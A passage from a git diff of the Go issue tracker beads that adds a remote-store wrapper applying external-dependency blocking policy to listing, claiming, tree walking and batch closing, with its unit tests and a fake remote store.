+ } +} + func TestGetBlockedIssuesAddsUnsatisfiedExternalRefs(t *testing.T) { a, c := issue("be-a"), issue("be-c") raw := &fakeStore{ diff --git a/internal/storage/externaldeps/remote_roles.go b/internal/storage/externaldeps/remote_roles.go new file mode 100644 index 000000000..bc89f791d --- /dev/null +++ b/internal/storage/externaldeps/remote_roles.go @@ -0,0 +1,412 @@ +package externaldeps + +import ( + "context" + "errors" + "fmt" + + "github.com/steveyegge/beads/internal/storage" + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// Remote role composition. +// +// The base accessors (role_accessors.go, batch_closer.go) rebuild each role +// over this store's legacy methods, which a SQL store implements in full. A +// remote store does not: httpclient.Store serves its roles over the wire and +// refuses most of the legacy methods those builds call (SearchIssuesWithCounts, +// IsBlocked, GetDependencyRecordsForIssues, GetDependencyTree, +// ClaimReadyIssue, BatchCloserWithPolicy), so the base accessors would fail +// `bd list`, `bd dep tree`, `bd ready --claim` and a policed close even in a +// workspace with no external dependency at all. Over such a store each +// accessor starts from the inner store's own role instead and layers the +// policy around it, before or after the served call. +// +// storage.RemoteBackendStore chooses that composition and nothing else. +// Whether the policy runs is still serverEnforcesPolicy's question (design +// 3.6), asked on every path that loads blocking state. + +// servesRoles reports whether the inner store serves its roles rather than +// building them over its legacy methods. +func (s *Store) servesRoles() bool { + remote, ok := storage.UnwrapStore(s.inner).(storage.RemoteBackendStore) + return ok && remote.IsRemoteBackendStore() +} + +// servedEdgeAnchors is the most anchors one served edge read names: the wire +// caps listDependencies' issue_id at 100 items, and the client passes a +// request through without chunking it. +const servedEdgeAnchors = 100 + +// servedEdges reads the stored outgoing edges of ids through the inner store's +// EdgeReader, the served stand-in for GetDependencyRecordsForIssues. A missing +// anchor contributes no edges. +func (s *Store) servedEdges(ctx context.Context, ids []string) (map[string][]*types.Dependency, error) { + anchors := make([]string, 0, len(ids)) + named := make(map[string]bool, len(ids)) + for _, id := range ids { + if id != "" && !named[id] { + named[id] = true + anchors = append(anchors, id) + } + } + deps := make(map[string][]*types.Dependency, len(anchors)) + if len(anchors) == 0 { + return deps, nil + } + reader, err := s.inner.EdgeReader() + if err != nil { + return nil, err + } + for start := 0; start < len(anchors); start += servedEdgeAnchors { + end := min(start+servedEdgeAnchors, len(anchors)) + result, err := reader.ReadEdges(ctx, issueops.EdgeReadRequest{IDs: anchors[start:end]}) + if err != nil { + return nil, err + } + for _, anchor := range result.Anchors { + deps[anchor.ID] = append(deps[anchor.ID], anchor.Edges...) + } + } + return deps, nil +} + +// blockingStateFor is loadBlockingState narrowed to ids, for a role that names +// its issues and so needs only their edges. +func (s *Store) blockingStateFor(ctx context.Context, ids []string) (blockingState, error) { + if enforced, err := s.serverEnforcesPolicy(ctx); err != nil || enforced { + return blockingState{}, err + } + deps, err := s.servedEdges(ctx, ids) + if err != nil { + return blockingState{}, fmt.Errorf("external dependencies: list blocking records: %w", err) + } + return s.blockingStateFromRecords(ctx, deps) +} + +// plainDownTree reports whether req is the walk the policy decorates. Reverse +// walks do not follow a source's dependencies, and the status- or row-bounded +// variants keep the backend's own traversal semantics. +func plainDownTree(req issueops.WalkTreeRequest) bool { + return (req.Direction == "" || req.Direction == issueops.TreeDown) && req.Status == "" && req.MaxRows == 0 +} + +// isLostClaimRace classifies the refusals that mean someone else took a +// candidate first. ErrNotFound joins them, as in httpclient's own composed +// claim: a ready row deleted before it was claimed is the same situation for +// a caller that wants the next piece of work. +func isLostClaimRace(err error) bool { + return errors.Is(err, issueops.ErrAlreadyClaimed) || + errors.Is(err, issueops.ErrNotClaimable) || + errors.Is(err, issueops.ErrNotFound) +} + +// remoteReader serves List and Get from the inner store's reader: this store +// overrides no search or detail method, so neither loses any policy. Ready and +// a ready-flagged List go through the policy reader, whose ready listing drops +// externally blocked work. +type remoteReader struct { + served issueops.Reader + policy issueops.Reader +} + +func (r *remoteReader) Ready(ctx context.Context, req issueops.ReadyRequest) (issueops.IssuePage, error) { + return r.policy.Ready(ctx, req) +} + +func (r *remoteReader) List(ctx context.Context, req issueops.ListRequest) (issueops.IssuePage, error) { + if req.ReadyFlag { + return r.policy.List(ctx, req) + } + return r.served.List(ctx, req) +} + +func (r *remoteReader) Get(ctx context.Context, req issueops.GetRequest) (*issueops.IssueDetails, error) { + return r.served.Get(ctx, req) +} + +// remoteClaimer refuses an externally blocked claim before the served one. +// Local blockers are the served claim's own answer: IsBlocked is a refused +// legacy method on a remote store, and the server checks its own graph. +type remoteClaimer struct { + served issueops.Claimer + policy *Store +} + +func (c *remoteClaimer) Claim(ctx context.Context, req issueops.ClaimRequest) (issueops.ClaimResult, error) { + state, err := c.policy.blockingStateFor(ctx, []string{req.IssueID}) + if err != nil { + return issueops.ClaimResult{}, err + } + if refs := state.refsByIssue[req.IssueID]; len(refs) > 0 { + return issueops.ClaimResult{}, fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, req.IssueID, refs) + } + return c.served.Claim(ctx, req) +} + +// remoteClaimPage is how many externally unblocked candidates one pass of +// remoteReadyClaimer reads, matching httpclient's composed ready claim. +const remoteClaimPage = 25 + +// remoteReadyClaimer hands the claim to the served ReadyClaimer when no issue +// in the workspace holds an unsatisfied external ref. Otherwise the served +// claim cannot be told what to skip — the wire's claim-next has no exclusion +// parameter — so it reads the policy's filtered ready page and claims down it +// through the served Claimer, as httpclient's own composition does for an +// older server. The same window applies: a row that gains a blocker between +// the listing and its claim can still be claimed. +// +// A closed holder counts too, as it does in every backend's blocking state. +// It can never be a candidate, so the composed claim takes the same issue the +// served one would. Leaving it out would cost a status read per holder, since +// the wire has no batch form of one. +type remoteReadyClaimer struct{ policy *Store } + +func (c *remoteReadyClaimer) ClaimNext(ctx context.Context, req issueops.ClaimNextRequest) (issueops.ClaimNextResult, error) { + if err := storageissueops.ValidateClaimNextRequest(req); err != nil { + return issueops.ClaimNextResult{}, err + } + filter, err := workapi.BuildReadyFilter(req.Filter) + if err != nil { + return issueops.ClaimNextResult{}, err + } + state, err := c.policy.loadBlockingState(ctx) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if len(state.refsByIssue) == 0 { + served, err := c.policy.inner.ReadyClaimer() + if err != nil { + return issueops.ClaimNextResult{}, err + } + return served.ClaimNext(ctx, req) + } + claimer, err := c.policy.inner.IssueClaimer() + if err != nil { + return issueops.ClaimNextResult{}, err + } + // The candidates a local claim-next selects (ClaimReadyIssueInTx): open, + // unassigned, with no row cap on a scan that delivers one row. + filter.Status = types.StatusOpen + filter.Unassigned = true + filter.Assignee = nil + filter.MaxRows = 0 + filter.MaxRowsSource = "" + filter.Limit = remoteClaimPage + // A second pass only after a full page was lost: claimed rows leave the + // unassigned set, so it reads the candidates behind them. + var lost int + for range 2 { + rows, err := c.policy.readyWorkWithCounts(ctx, filter, state) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if len(rows) == 0 { + return issueops.ClaimNextResult{}, nil + } + for _, row := range rows { + if row == nil || row.Issue == nil { + continue + } + res, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: req.Actor, IssueID: row.ID}) + switch { + case err == nil: + return issueops.ClaimNextResult{Claimed: &types.IssueWithCounts{ + Issue: res.Issue, + DependencyCount: row.DependencyCount, + DependentCount: row.DependentCount, + CommentCount: row.CommentCount, + Parent: row.Parent, + }}, nil + case isLostClaimRace(err): + lost++ + default: + return issueops.ClaimNextResult{}, err + } + } + if len(rows) < remoteClaimPage { + break + } + } + return issueops.ClaimNextResult{}, fmt.Errorf("claim ready: lost %d races for externally unblocked ready work; re-run to take the next one", lost) +} + +// remoteBlockingAnnotator merges the external blockers the policy resolves +// into the served annotation's BlockedBy. +type remoteBlockingAnnotator struct { + served issueops.BlockingAnnotator + policy *Store +} + +func (a *remoteBlockingAnnotator) AnnotateBlocking(ctx context.Context, req issueops.BlockingRequest) (issueops.BlockingResult, error) { + result, err := a.served.AnnotateBlocking(ctx, req) + if err != nil || len(result.Items) == 0 { + return result, err + } + ids := make([]string, 0, len(result.Items)) + for _, item := range result.Items { + ids = append(ids, item.ID) + } + state, err := a.policy.blockingStateFor(ctx, ids) + if err != nil { + return issueops.BlockingResult{}, err + } + for i := range result.Items { + for _, ref := range state.refsByIssue[result.Items[i].ID] { + result.Items[i].BlockedBy = appendUnique(result.Items[i].BlockedBy, ref) + } + } + return result, nil +} + +// remoteTreeWalker adds external leaves to the served down-tree. A leaf the +// server already rendered is kept as it came (appendTreeExternalReferences +// skips an id the tree holds), and like GetDependencyTree the leaves are +// rendered whether or not the server enforces the policy: a leaf is display, +// not enforcement. +type remoteTreeWalker struct { + served issueops.TreeWalker + policy *Store +} + +func (t *remoteTreeWalker) WalkTree(ctx context.Context, req issueops.WalkTreeRequest) (issueops.TreeResult, error) { + result, err := t.served.WalkTree(ctx, req) + if err != nil || !plainDownTree(req) || len(result.Nodes) == 0 { + return result, err + } + ids := make([]string, 0, len(result.Nodes)) + for _, node := range result.Nodes { + if node != nil && !isExternalReference(node.ID) { + ids = append(ids, node.ID) + } + } + deps, err := t.policy.servedEdges(ctx, ids) + if err != nil { + return issueops.TreeResult{}, fmt.Errorf("external dependencies: load tree edges: %w", err) + } + nodes, err := t.policy.appendTreeExternalReferences(ctx, result.Nodes, deps, req.MaxDepth, false) + if err != nil { + return issueops.TreeResult{}, err + } + result.Nodes = nodes + return result, nil +} + +// remoteBatchCloser refuses each externally blocked, still-open item the way +// the local policy close does, then sends the rest to the served closer as one +// request, so they still close in one server transaction. The external answer +// is read before that request rather than inside it, the same window +// remoteReadyClaimer has. +// +// A batch that also claims the next issue is refused whole, before anything +// closes. The local closer claims inside the closing transaction with the +// policy's exclusions in its filter. A served close has no parameter to carry +// them, and claiming after the close commits would split the role's one +// transaction in two. The refusal does not read the workspace, so the command +// fails the same way whether or not anything in it is externally blocked. +type remoteBatchCloser struct{ policy *Store } + +func (c *remoteBatchCloser) CloseBatch(ctx context.Context, request issueops.CloseBatchRequest) (issueops.CloseBatchResult, error) { + if request.ClaimNext != nil { + return c.closeAndClaimNext(ctx, request) + } + if request.Force { + // Force waives the policy, so the base closer reaches the served one + // with an empty policy. + return (&batchCloser{policy: c.policy}).CloseBatch(ctx, request) + } + if err := storageissueops.ValidateCloseBatchRequest(request); err != nil { + return issueops.CloseBatchResult{}, err + } + ids := make([]string, 0, len(request.Items)) + for _, item := range request.Items { + ids = append(ids, item.IssueID) + } + state, err := c.policy.blockingStateFor(ctx, ids) + if err != nil { + return issueops.CloseBatchResult{}, err + } + served, err := c.policy.inner.BatchCloser() + if err != nil { + return issueops.CloseBatchResult{}, err + } + if len(state.refsByIssue) == 0 { + return served.CloseBatch(ctx, request) + } + + policy := storage.NewBatchClosePolicy(state.refsByIssue) + outcomes := make([]issueops.CloseOutcome, len(request.Items)) + forward := request + forward.Items = make([]issueops.BatchCloseItem, 0, len(request.Items)) + forwarded := make([]int, 0, len(request.Items)) + for i, item := range request.Items { + if refusal := policy.CheckClose(item.IssueID, false); refusal != nil { + // As in the local close: only a live target is refused, so an + // idempotent re-close and a not-found keep their own answers. + issue, err := c.policy.inner.GetIssue(ctx, item.IssueID) + if err != nil { + outcomes[i] = issueops.CloseOutcome{IssueID: item.IssueID, Err: err} + continue + } + if issue != nil && issue.Status != types.StatusClosed { + outcomes[i] = issueops.CloseOutcome{IssueID: item.IssueID, Err: refusal} + continue + } + } + forward.Items = append(forward.Items, item) + forwarded = append(forwarded, i) + } + if len(forward.Items) == 0 { + return issueops.CloseBatchResult{Outcomes: outcomes}, nil + } + result, err := served.CloseBatch(ctx, forward) + if err != nil { + return issueops.CloseBatchResult{}, err + } + if len(result.Outcomes) != len(forward.Items) { + return issueops.CloseBatchResult{}, fmt.Errorf("close batch: served closer answered %d outcomes for %d items", len(result.Outcomes), len(forward.Items)) + } + for j, outcome := range result.Outcomes { + outcomes[forwarded[j]] = outcome + } + return issueops.CloseBatchResult{Outcomes: outcomes}, nil +} + +// closeAndClaimNext answers a batch with a next claim. A request that is +// invalid on every backend is still ErrValidation. A server that enforces the +// policy itself gets the request as it came; over the v0 wire its closer +// refuses a next claim too (ledger row W-CloseBatchRequest.ClaimNext). +func (c *remoteBatchCloser) closeAndClaimNext(ctx context.Context, request issueops.CloseBatchRequest) (issueops.CloseBatchResult, error) { + if err := storageissueops.ValidateCloseBatchRequest(request); err != nil { + return issueops.CloseBatchResult{}, err + } + if _, err := workapi.BuildReadyFilter(*request.ClaimNext); err != nil { + return issueops.CloseBatchResult{}, err + } + enforced, err := c.policy.serverEnforcesPolicy(ctx) + if err != nil { + return issueops.CloseBatchResult{}, err + } + if !enforced { + return issueops.CloseBatchResult{}, fmt.Errorf( + "close with a next claim: the served batch close cannot carry a next claim, so nothing was closed; close without --claim-next, then run `bd ready --claim` (%w)", + &storage.ErrUnsupported{Op: "CloseBatchRequest.ClaimNext", Backend: fmt.Sprintf("%T", storage.UnwrapStore(c.policy.inner))}) + } + served, err := c.policy.inner.BatchCloser() + if err != nil { + return issueops.CloseBatchResult{}, err + } + return served.CloseBatch(ctx, request) +} + +var ( + _ issueops.Reader = (*remoteReader)(nil) + _ issueops.Claimer = (*remoteClaimer)(nil) + _ issueops.ReadyClaimer = (*remoteReadyClaimer)(nil) + _ issueops.BlockingAnnotator = (*remoteBlockingAnnotator)(nil) + _ issueops.TreeWalker = (*remoteTreeWalker)(nil) + _ issueops.BatchCloser = (*remoteBatchCloser)(nil) +) diff --git a/internal/storage/externaldeps/remote_roles_test.go b/internal/storage/externaldeps/remote_roles_test.go new file mode 100644 index 000000000..793d9bb58 --- /dev/null +++ b/internal/storage/externaldeps/remote_roles_test.go @@ -0,0 +1,636 @@ +package externaldeps + +import ( + "context" + "errors" + "fmt" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// remoteStore models httpclient.Store for remote_roles.go. Each role it hands +// out is served over the embedded fakeStore's rows, the way a server that +// knows nothing of the policy answers it, and each legacy method a base +// accessor builds on is refused, so a composition that reaches one fails the +// test instead of passing on a fake that answers it. Like httpclient.Store it +// cannot express ExcludeIDs and has no BatchCloserWithPolicy. +type remoteStore struct { + *fakeStore + // served logs each served role call, in order. + served []string + // closes logs the item ids of each served batch close. + closes [][]string + // edgeReads logs how many anchors each served edge read named. + edgeReads []int + // scans counts the whole-workspace dependency scans read through it. + scans int + // localBlockers is the served annotation's own BlockedBy, per id. + localBlockers map[string][]string + // claimErr, when set, answers every served Claim. + claimErr error +} + +var errLegacyRefused = errors.New("remoteStore: legacy method refused") + +// wireEdgeAnchorCap is the most anchors the wire's listDependencies accepts. +const wireEdgeAnchorCap = 100 + +func newRemoteStore(ready ...*types.Issue) *remoteStore { + return &remoteStore{fakeStore: &fakeStore{ + ready: ready, + deps: make(map[string][]*types.Dependency), + excludeIDsUnsupported: true, + }} +} + +func (r *remoteStore) IsRemoteBackendStore() bool { return true } + +// httpclient.Store serves the vocabulary a listing loads before its search. +func (r *remoteStore) GetCustomStatusesDetailed(context.Context) ([]types.CustomStatus, error) { + return nil, nil +} +func (r *remoteStore) GetCustomTypes(context.Context) ([]string, error) { return nil, nil } +func (r *remoteStore) GetInfraTypes(context.Context) map[string]bool { return nil } + +func (r *remoteStore) SearchIssuesWithCounts(context.Context, string, types.IssueFilter) ([]*types.IssueWithCounts, error) { + return nil, errLegacyRefused +} + +func (r *remoteStore) IsBlocked(context.Context, string) (bool, []string, error) { + return false, nil, errLegacyRefused +} + +func (r *remoteStore) GetDependencyRecordsForIssues(context.Context, []string) (map[string][]*types.Dependency, error) { + return nil, errLegacyRefused +} + +func (r *remoteStore) GetDependencyTree(context.Context, string, int, bool, bool) ([]*types.TreeNode, error) { + return nil, errLegacyRefused +} + +func (r *remoteStore) ClaimReadyIssue(context.Context, types.WorkFilter, string) (*types.Issue, error) { + return nil, errLegacyRefused +} + +func (r *remoteStore) GetAllDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + r.scans++ + return r.fakeStore.GetAllDependencyRecords(ctx) +} + +func (r *remoteStore) GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + r.scans++ + return r.fakeStore.GetExternalBlockingDependencyRecords(ctx) +} + +func (r *remoteStore) IssueReader() (publicops.Reader, error) { return servedReader{r}, nil } +func (r *remoteStore) IssueClaimer() (publicops.Claimer, error) { return servedClaimer{r}, nil } +func (r *remoteStore) ReadyClaimer() (publicops.ReadyClaimer, error) { + return servedReadyClaimer{r}, nil +} +func (r *remoteStore) TreeWalker() (publicops.TreeWalker, error) { return servedWalker{r}, nil } +func (r *remoteStore) EdgeReader() (publicops.EdgeReader, error) { return servedEdgeReader{r}, nil } +func (r *remoteStore) BatchCloser() (publicops.BatchCloser, error) { return servedCloser{r}, nil } + +func (r *remoteStore) BlockingAnnotator() (publicops.BlockingAnnotator, error) { + return servedAnnotator{r}, nil +} + +type servedReader struct{ s *remoteStore } + +func (r servedReader) Ready(context.Context, publicops.ReadyRequest) (publicops.IssuePage, error) { + return publicops.IssuePage{}, errors.New("served Ready: ready work is the policy reader's to answer") +} + +func (r servedReader) List(context.Context, publicops.ListRequest) (publicops.IssuePage, error) { + r.s.served = append(r.s.served, "List") + items := make([]*types.IssueWithCounts, 0, len(r.s.ready)) + for _, issue := range r.s.ready { + items = append(items, &types.IssueWithCounts{Issue: issue}) + } + return publicops.IssuePage{Items: items}, nil +} + +func (r servedReader) Get(ctx context.Context, req publicops.GetRequest) (*publicops.IssueDetails, error) { + r.s.served = append(r.s.served, "Get "+req.ID) + issue, err := r.s.GetIssue(ctx, req.ID) + if err != nil { + return nil, err + } + if issue == nil { + return nil, publicops.ErrNotFound + } + return &publicops.IssueDetails{Issue: *issue}, nil +} + +type servedClaimer struct{ s *remoteStore } + +func (c servedClaimer) Claim(ctx context.Context, req publicops.ClaimRequest) (publicops.ClaimResult, error) { + c.s.served = append(c.s.served, "Claim "+req.IssueID) + if c.s.claimErr != nil { + return publicops.ClaimResult{}, c.s.claimErr + } + if err := c.s.ClaimIssue(ctx, req.IssueID, req.Actor); err != nil { + return publicops.ClaimResult{}, err + } + issue, err := c.s.GetIssue(ctx, req.IssueID) + return publicops.ClaimResult{Issue: issue, Changed: true}, err +} + +// servedReadyClaimer claims the first unassigned ready row, blind to the +// policy as a claim-next with no exclusion parameter is. +type servedReadyClaimer struct{ s *remoteStore } + +func (c servedReadyClaimer) ClaimNext(ctx context.Context, req publicops.ClaimNextRequest) (publicops.ClaimNextResult, error) { + c.s.served = append(c.s.served, "ClaimNext") + for _, issue := range c.s.ready { + if issue.Assignee != "" { + continue + } + if err := c.s.ClaimIssue(ctx, issue.ID, req.Actor); err != nil { + return publicops.ClaimNextResult{}, err + } + return publicops.ClaimNextResult{Claimed: &types.IssueWithCounts{Issue: issue}}, nil + } + return publicops.ClaimNextResult{}, nil +} + +type servedAnnotator struct{ s *remoteStore } + +func (a servedAnnotator) AnnotateBlocking(_ context.Context, req publicops.BlockingRequest) (publicops.BlockingResult, error) { + a.s.served = append(a.s.served, "AnnotateBlocking") + items := make([]publicops.IssueBlocking, 0, len(req.IDs)) + for _, id := range req.IDs { + items = append(items, publicops.IssueBlocking{ID: id, BlockedBy: slices.Clone(a.s.localBlockers[id])}) + } + return publicops.BlockingResult{Items: items}, nil +} + +type servedWalker struct{ s *remoteStore } + +func (w servedWalker) WalkTree(context.Context, publicops.WalkTreeRequest) (publicops.TreeResult, error) { + w.s.served = append(w.s.served, "WalkTree") + return publicops.TreeResult{Nodes: slices.Clone(w.s.tree)}, nil +} + +type servedEdgeReader struct{ s *remoteStore } + +func (e servedEdgeReader) ReadEdges(_ context.Context, req publicops.EdgeReadRequest) (publicops.EdgeReadResult, error) { + if len(req.IDs) > wireEdgeAnchorCap { + return publicops.EdgeReadResult{}, fmt.Errorf("served ReadEdges: %d anchors, past the wire's %d", len(req.IDs), wireEdgeAnchorCap) + } + e.s.edgeReads = append(e.s.edgeReads, len(req.IDs)) + anchors := make([]publicops.AnchorEdges, 0, len(req.IDs)) + for _, id := range req.IDs { + anchors = append(anchors, publicops.AnchorEdges{ID: id, Edges: e.s.deps[id]}) + } + return publicops.EdgeReadResult{Anchors: anchors}, nil +} + +type servedCloser struct{ s *remoteStore } + +// errServedClaimNextRefused is the served closer's answer to a next claim. +// httpclient refuses one on every server: the v0 wire's batch close has no +// member to carry it (ledger row W-CloseBatchRequest.ClaimNext). +var errServedClaimNextRefused = &storage.ErrUnsupported{Op: "BatchCloser.CloseBatch", Backend: "http"} + +func (c servedCloser) CloseBatch(ctx context.Context, req publicops.CloseBatchRequest) (publicops.CloseBatchResult, error) { + if req.ClaimNext != nil { + c.s.served = append(c.s.served, "CloseBatch ClaimNext") + return publicops.CloseBatchResult{}, errServedClaimNextRefused + } + ids := make([]string, 0, len(req.Items)) + outcomes := make([]publicops.CloseOutcome, 0, len(req.Items)) + for _, item := range req.Items { + ids = append(ids, item.IssueID) + result, err := c.s.CloseIssueChecked(ctx, item.IssueID, req.Actor, storage.CloseIssueOptions{}) + outcomes = append(outcomes, publicops.CloseOutcome{IssueID: item.IssueID, Changed: err == nil && !result.Unchanged, Err: err}) + } + c.s.closes = append(c.s.closes, ids) + return publicops.CloseBatchResult{Outcomes: outcomes}, nil +} + +const paymentsRef = "external:remote:payments" + +func blockOnPayments(raw *remoteStore, ids ...string) { + for _, id := range ids { + raw.deps[id] = []*types.Dependency{externalDep(id, paymentsRef, types.DepBlocks)} + } +} + +func closeItems(ids ...string) []publicops.BatchCloseItem { + items := make([]publicops.BatchCloseItem, 0, len(ids)) + for _, id := range ids { + items = append(items, publicops.BatchCloseItem{IssueID: id}) + } + return items +} + +// TestRemoteRolesAnswerWithoutTheLegacyMethods pins the blocker the base +// accessors had over httpclient.Store: built over legacy methods a remote +// store refuses, they failed bd list, bd show, bd dep tree, bd ready --claim +// and bd close in a workspace where nothing had an external dependency. +func TestRemoteRolesAnswerWithoutTheLegacyMethods(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := newRemoteStore(a, b) + raw.tree = []*types.TreeNode{{Issue: *a}} + store := testStore(raw, &fakeStore{}, true) + ctx := t.Context() + + reader, err := store.IssueReader() + if err != nil { + t.Fatalf("IssueReader: %v", err) + } + if page, err := reader.List(ctx, publicops.ListRequest{}); err != nil || len(page.Items) != 2 { + t.Fatalf("List = %d items, %v; want 2", len(page.Items), err) + } + if details, err := reader.Get(ctx, publicops.GetRequest{ID: a.ID}); err != nil || details.ID != a.ID { + t.Fatalf("Get = %v, %v; want %s", details, err, a.ID) + } + if page, err := reader.Ready(ctx, publicops.ReadyRequest{}); err != nil || len(page.Items) != 2 { + t.Fatalf("Ready = %d items, %v; want 2", len(page.Items), err) + } + + claimer, err := store.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer: %v", err) + } + if _, err := claimer.Claim(ctx, publicops.ClaimRequest{Actor: "worker", IssueID: a.ID}); err != nil { + t.Fatalf("Claim: %v", err) + } + readyClaimer, err := store.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer: %v", err) + } + if next, err := readyClaimer.ClaimNext(ctx, publicops.ClaimNextRequest{Actor: "worker"}); err != nil || next.Claimed == nil || next.Claimed.ID != b.ID { + t.Fatalf("ClaimNext = %+v, %v; want %s", next.Claimed, err, b.ID) + } + + annotator, err := store.BlockingAnnotator() + if err != nil { + t.Fatalf("BlockingAnnotator: %v", err) + } + if result, err := annotator.AnnotateBlocking(ctx, publicops.BlockingRequest{IDs: []string{a.ID, b.ID}}); err != nil || len(result.Items) != 2 { + t.Fatalf("AnnotateBlocking = %+v, %v; want 2 items", result.Items, err) + } + walker, err := store.TreeWalker() + if err != nil { + t.Fatalf("TreeWalker: %v", err) + } + if tree, err := walker.WalkTree(ctx, publicops.WalkTreeRequest{RootID: a.ID, MaxDepth: 50}); err != nil || len(tree.Nodes) != 1 { + t.Fatalf("WalkTree = %d nodes, %v; want the served root alone", len(tree.Nodes), err) + } + + closer, err := store.BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + result, err := closer.CloseBatch(ctx, publicops.CloseBatchRequest{Actor: "worker", Items: closeItems(a.ID, b.ID)}) + if err != nil || len(result.Outcomes) != 2 { + t.Fatalf("CloseBatch = %+v, %v; want 2 outcomes", result.Outcomes, err) + } + + if want := []string{"List", "Get be-a", "Claim be-a", "ClaimNext", "AnnotateBlocking", "WalkTree"}; !slices.Equal(raw.served, want) { + t.Fatalf("served calls = %v, want %v", raw.served, want) + } + if want := [][]string{{a.ID, b.ID}}; !slices.EqualFunc(raw.closes, want, slices.Equal[[]string]) { + t.Fatalf("served closes = %v, want %v", raw.closes, want) + } +} + +// TestRemoteReaderPolicesReadyWorkOnly: an externally blocked issue leaves the +// ready listing and stays in a plain one, which claims nothing about +// readiness. +func TestRemoteReaderPolicesReadyWorkOnly(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := newRemoteStore(a, b) + blockOnPayments(raw, a.ID) + reader, err := testStore(raw, &fakeStore{}, true).IssueReader() + if err != nil { + t.Fatalf("IssueReader: %v", err) + } + + ready, err := reader.Ready(t.Context(), publicops.ReadyRequest{}) + if err != nil { + t.Fatalf("Ready: %v", err) + } + if len(ready.Items) != 1 || ready.Items[0].ID != b.ID { + t.Fatalf("Ready = %d items, want %s alone (%s is externally blocked)", len(ready.Items), b.ID, a.ID) + } + listed, err := reader.List(t.Context(), publicops.ListRequest{}) + if err != nil { + t.Fatalf("List: %v", err) + } + if len(listed.Items) != 2 { + t.Fatalf("List = %d items, want both", len(listed.Items)) + } +} + +func TestRemoteClaimerRefusesExternallyBlockedWork(t *testing.T) { + for _, enforced := range []bool{false, true} { + t.Run(fmt.Sprintf("server enforces %v", enforced), func(t *testing.T) { + a := issue("be-a") + raw := newRemoteStore(a) + raw.enforced = enforced + blockOnPayments(raw, a.ID) + claimer, err := testStore(raw, &fakeStore{}, true).IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer: %v", err) + } + + _, err = claimer.Claim(t.Context(), publicops.ClaimRequest{Actor: "worker", IssueID: a.ID}) + if enforced { + // The server already applied the policy, so the claim is its + // to answer. + if err != nil || !slices.Equal(raw.served, []string{"Claim be-a"}) { + t.Fatalf("Claim = %v, served %v; want the served claim", err, raw.served) + } + return + } + if !errors.Is(err, storage.ErrCloseBlocked) || !strings.Contains(err.Error(), paymentsRef) { + t.Fatalf("Claim = %v, want ErrCloseBlocked naming %s", err, paymentsRef) + } + if len(raw.served) != 0 { + t.Fatalf("served calls = %v, want none for a refused claim", raw.served) + } + }) + } +} + +// TestRemoteReadyClaimerSkipsExternallyBlockedWork: the served claim-next +// cannot be told what to skip, so with anything externally blocked the claim +// walks the policy's ready page through the served Claimer instead. be-a sorts +// first, where the served claim-next would take it. +func TestRemoteReadyClaimerSkipsExternallyBlockedWork(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := newRemoteStore(a, b) + blockOnPayments(raw, a.ID) + claimer, err := testStore(raw, &fakeStore{}, true).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer: %v", err) + } + + next, err := claimer.ClaimNext(t.Context(), publicops.ClaimNextRequest{Actor: "worker"}) + if err != nil { + t.Fatalf("ClaimNext: %v", err) + } + if next.Claimed == nil || next.Claimed.ID != b.ID || b.Assignee != "worker" { + t.Fatalf("ClaimNext claimed %+v, want %s for worker", next.Claimed, b.ID) + } + if want := []string{"Claim be-b"}; !slices.Equal(raw.served, want) { + t.Fatalf("served calls = %v, want %v", raw.served, want) + } +} + +// TestRemoteReadyClaimerReportsLostRaces: a front that had work but lost every +// candidate is an error, not the empty answer that means there is no work. +func TestRemoteReadyClaimerReportsLostRaces(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := newRemoteStore(a, b) + blockOnPayments(raw, a.ID) + raw.claimErr = storage.ErrAlreadyClaimed + claimer, err := testStore(raw, &fakeStore{}, true).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer: %v", err) + } + + next, err := claimer.ClaimNext(t.Context(), publicops.ClaimNextRequest{Actor: "worker"}) + if err == nil || !strings.Contains(err.Error(), "lost 1 races") || next.Claimed != nil { + t.Fatalf("ClaimNext = %+v, %v; want a lost-races error", next.Claimed, err) + } +} + +// TestRemoteBlockingAnnotatorMergesExternalBlockers: the served annotation's +// own blockers stay, the external ones join them, and the edges behind them +// are read in chunks the wire accepts. +func TestRemoteBlockingAnnotatorMergesExternalBlockers(t *testing.T) { + issues := make([]*types.Issue, 0, 150) + ids := make([]string, 0, 150) + for i := range 150 { + issues = append(issues, issue(fmt.Sprintf("be-%03d", i))) + ids = append(ids, issues[i].ID) + } + raw := newRemoteStore(issues...) + blockOnPayments(raw, "be-000", "be-149") + raw.localBlockers = map[string][]string{"be-000": {"be-local"}} + annotator, err := testStore(raw, &fakeStore{}, true).BlockingAnnotator() + if err != nil { + t.Fatalf("BlockingAnnotator: %v", err) + } + + result, err := annotator.AnnotateBlocking(t.Context(), publicops.BlockingRequest{IDs: ids}) + if err != nil { + t.Fatalf("AnnotateBlocking: %v", err) + } + blockedBy := make(map[string][]string, len(result.Items)) + for _, item := range result.Items { + blockedBy[item.ID] = item.BlockedBy + } + if want := []string{"be-local", paymentsRef}; !slices.Equal(blockedBy["be-000"], want) { + t.Errorf("be-000 blocked by %v, want %v", blockedBy["be-000"], want) + } + if want := []string{paymentsRef}; !slices.Equal(blockedBy["be-149"], want) { + t.Errorf("be-149 blocked by %v, want %v", blockedBy["be-149"], want) + } + if len(blockedBy["be-001"]) != 0 { + t.Errorf("be-001 